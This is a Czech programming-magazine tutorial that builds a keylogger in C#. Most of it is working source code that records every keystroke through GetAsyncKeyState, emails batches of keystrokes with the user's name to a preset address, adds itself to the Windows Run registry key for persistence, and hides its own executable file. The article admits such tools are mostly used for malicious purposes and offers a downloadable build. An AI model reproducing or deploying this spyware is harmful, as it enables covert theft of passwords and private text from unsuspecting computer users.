Staňte se programátorem: špion, který ví, co píšete

Jsou programy naprosto běžné a snadno přehlédnutelné a pak ty kontroverzní. Patří k nim i keyloggery, které tajně snímají výstup z klávesnice. Napište si s námi jednoduchého špiona.

Jak naprogramovat keylogger

V dnešním díle si naprogramujeme jednoduchý keylogger. Pokud nemáte tušení, oč jde, vězte, že se jedná o druh programu, který se skryje v systému a snímá stisknuté klávesy, které vždy po určitém počtu odesílá na předem stanovenou e-mailovou adresu. Většinou je tento druh programu využíván k nekalým účelům, ale najdou se i rozumnější důvody k použití – například kontrola, co se děje na vašem počítači v době vaší nepřítomnosti apod. Při jeho programování se naučíme tyto dovednosti:

  • Volání WinAPI funkcí (snímání kláves)
  • Odesílání e-mailových zpráv (odeslání snímaných kláves)
  • Ukládání hodnot do registrů (spuštění keyloggeru vždy po startu počítače)
  • Nastavování atributů souboru (skrytí keyloggeru)

Program se vždy při startu zapíše do registru „po spuštění“ a skryje se ve složce, ze které byl spuštěn. Dále bude obsahovat časovač, který v rychlých sekvencích kontroluje aktuálně stisknuté klávesy. Pokud jejich počet dosáhne námi stanoveného počtu, budou odeslány na e-mail.

keylogger_nastaveni.png
Jediným dialogem programu bude úvodní nastavení

Volání WinAPI funkcí

Windows API je základní softwarové rozhraní sytému Microsoft Windows obsahující desítky knihoven pro základní systémové operace. V jazyce C# máme drtivou většinu funkcí již předprogramovanou v .NET Frameworku. Existují však výjimky, kde musíme volat metody knihoven WinAPI. Deklarace těchto metod se provádí následujícím způsobem:

[System.Runtime.InteropServices.DllImport("název knihovny")]
static extern návratový_typ název_metody(argumenty.....)

Například takto deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu:

[DllImport("User32.dll")]
static extern short GetAsyncKeyState(int vKey);

Posíláme klávesy na e-mail

Pro neustálou kontrolu stisknutých kláves je nutné tuto metodu volat v neustálých intervalech, k čemuž nám poslouží časovač představovaný třídou System.Windows.Forms.Timer. Tato komponenta obsahuje událost Tick, která pak představuje samotné tiknutí časovače vždy za určitý interval. Následující kód tedy zjistí stisknutou klávesu a přidá ji do paměti. Jakmile paměť dosáhne tří set znaků, celá dávka se odešle na e-mail.

Jelikož program zaznamenává stisk nejen základních znakových kláves, ale i ty s diakritikou, řídící a systémové, které systém identifikuje jinak než my, je nutné některé z nich pro snadnou orientaci přejmenovat – o to se postará metoda Replace.

void timer1_Tick(object sender, EventArgs e)
{
  string keyBuffer = "";
  // Snímá stisknuté klávesy
  foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
  {
    if (GetAsyncKeyState(i) == -32767)
      keyBuffer += Enum.GetName(typeof(Keys), i);
  }

  if (keyBuffer != "")
  {
    keyBuffer = keyBuffer.Replace("Space", " ");
    keyBuffer = keyBuffer.Replace("Delete", "<Del>");
    keyBuffer = keyBuffer.Replace("LShiftKey", "<SHIFT>");
    keyBuffer = keyBuffer.Replace("ShiftKey", "");
    keyBuffer = keyBuffer.Replace("OemQuotes", "!");
    keyBuffer = keyBuffer.Replace("Oemcomma", "?");
    keyBuffer = keyBuffer.Replace("D8", "á");
    keyBuffer = keyBuffer.Replace("D2", "ì");
    keyBuffer = keyBuffer.Replace("D3", "š");
    keyBuffer = keyBuffer.Replace("D4", "è");
    keyBuffer = keyBuffer.Replace("D5", "ø");
    keyBuffer = keyBuffer.Replace("D6", "ž");
    keyBuffer = keyBuffer.Replace("D7", "ý");
    keyBuffer = keyBuffer.Replace("D9", "í");
    keyBuffer = keyBuffer.Replace("D0", "é");
    keyBuffer = keyBuffer.Replace("Back", "<==");
    keyBuffer = keyBuffer.Replace("LButton", "<Levé myšítko>");
    keyBuffer = keyBuffer.Replace("RButton", "<Pravé myšítko>");
    keyBuffer = keyBuffer.Replace("NumPad", "");
    keyBuffer = keyBuffer.Replace("OemPeriod", ".");
    keyBuffer = keyBuffer.Replace("OemSemicolon", ",");
    keyBuffer = keyBuffer.Replace("Oem4", "/");
    
keyBuffer = keyBuffer.Replace("LControlKey", "<CTRL>");
    
keyBuffer = keyBuffer.Replace("ControlKey", "<CTRL>");
    
keyBuffer = keyBuffer.Replace("Enter", "<ENT>");
    
keyBuffer = keyBuffer.Replace("Shift", "<SHIFT>");
    
keyBuffer = keyBuffer.ToLower();
    klavesy += keyBuffer;
    
    
// Pokud je počet nasnímaných kláves roven nebo větší než
    
// námi definovaný počet, budou odeslány mailem
    if (klavesy.Length >= kolikKlaves)
    
{
       OdesliMail(mail,smtp, "klavesy@keylogger.cz" ,klavesy,
                  "Nasnímané klávesy uživatele "  + Environment.UserName);

      // Vynulování stisknutých kláves
      klavesy = "";
    }
  }
}

word.png vystup.png
Zatímco píšete článek v textovém procesoru, KeyLogger odesílá veškeré stisky kláves na předdefinovaný email

V poštovní zprávě jsou zaznamenány i všechny stisky funkčních kláves a v podobě zpětných šipek i mazání textu

Odesílání e-mailových zpráv

K posílání e-mailových zpráv slouží třída System.Net.Mail.SmtpClient do jejíž konstruktoru zadáme název smtp serveru na který má být zpráva zaslána. Následně je nutné vytvořit e-mailovou zprávu, která je představována instancí třídy MailMessage a odeslat ji metodou SendAsync třídy SmtpClient.

void OdesliMail(string adresa, string hostitel, string odesilatel, string obsah, string subject)
{
  SmtpClient smtp = new SmtpClient(hostitel);
  // Vytvoří e-mailovou zprávu
  MailMessage zprava = new MailMessage(odesilatel, adresa, subject, obsah);
  // Odešle zprávu
  smtp.SendAsync(zprava,null);
}

Ukládání hodnot do registrů

Pro editování hodnot registrů slouží třída RegistryKey, jejíž instanci vytvoříme metodou Registry.LocalMachine.OpenSubKey, která jako argument očekává řetězec představující cestu k registru, do kterého chceme zapisovat metodou SetValue. První argument této metody představuje název klíče a druhý argument jeho hodnotu.

try
{
  // Otevře registrový klíč "po spuštění"
  RegistryKey klic = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\
                                        Windows\\CurrentVersion\\Run", true);

  // Nastaví hodnotu klíče registru tak, aby se tato aplikace spouštěla vždy při
  // startu počítače
  klic.SetValue("KeyLogger", Application.ExecutablePath);
  klic.Close();
}

// Pokud se uložení do registrů nezdaří:
catch
{
  MessageBox.Show("Nepodařilo se zapsat do registru");
}

Kód je ale ve skutečnosti trošku složitější, program si totiž do registru při prvním spuštění uloží také e-mail, na který má zprávy odesílat, a příslušný SMTP server. Tato část kódu je víceméně analogická, data pouze zapisujete a čtete z jiné oblasti systémového registru.

Nastavení atributů souboru

Pro nastavení atributů souboru použijeme statickou metodu SetAttributes třídy System.IO.File, která jako první argument očekává cestu k souboru jehož atributy chceme nastavit. Výčet možných atributů je uložen ve výčtovém typu FileAttributes a představuje druhý argument této metody. V našem případě chceme keylogger skrýt, a proto použijeme položku Hidden.

System.IO.File.SetAttributes(Application.ExecutablePath, 
                             System.IO.FileAttributes.Hidden);
 

Snadno rozšiřitelný kód

A to je vlastně všechno. Obrázků dnes bylo pomálu, celá aplikace totiž pracuje na pozadí běhu Windows a obejde se bez ovládacích prvků. Zdrojový kód můžete snadno rozšířit, přidat ovládání třeba přes ikonu v oznamovací oblasti Windows a získávat informace o tom, který program má zrovna fokus a jeho název pro snazší orientaci vkládat do odesílaného textu.

Pokud tedy máte chuť a chcete přispět do našeho seriálu, pošlete nám kód na tento e-mail a my vaše úpravy zveřejníme v některém z příštích článků.

Nakonec nesmí chybět ani slíbený spustitelný program a projekt. K prvnímu budete potřebovat nainstalovaný novější Microsoft .NET Framework, pakliže si budete chtít projekt upravit a sestavit, budete potřebovat bezplatné vývojové prostředí Microsoft Visual C# 2008 Express Edition.

Diskuze (45) Další článek: Ta Windows nebo Ty Windows? Poradí vám WebSource.it

Témata článku: , , , , , , , , , , , , , , , , , , , , , , , ,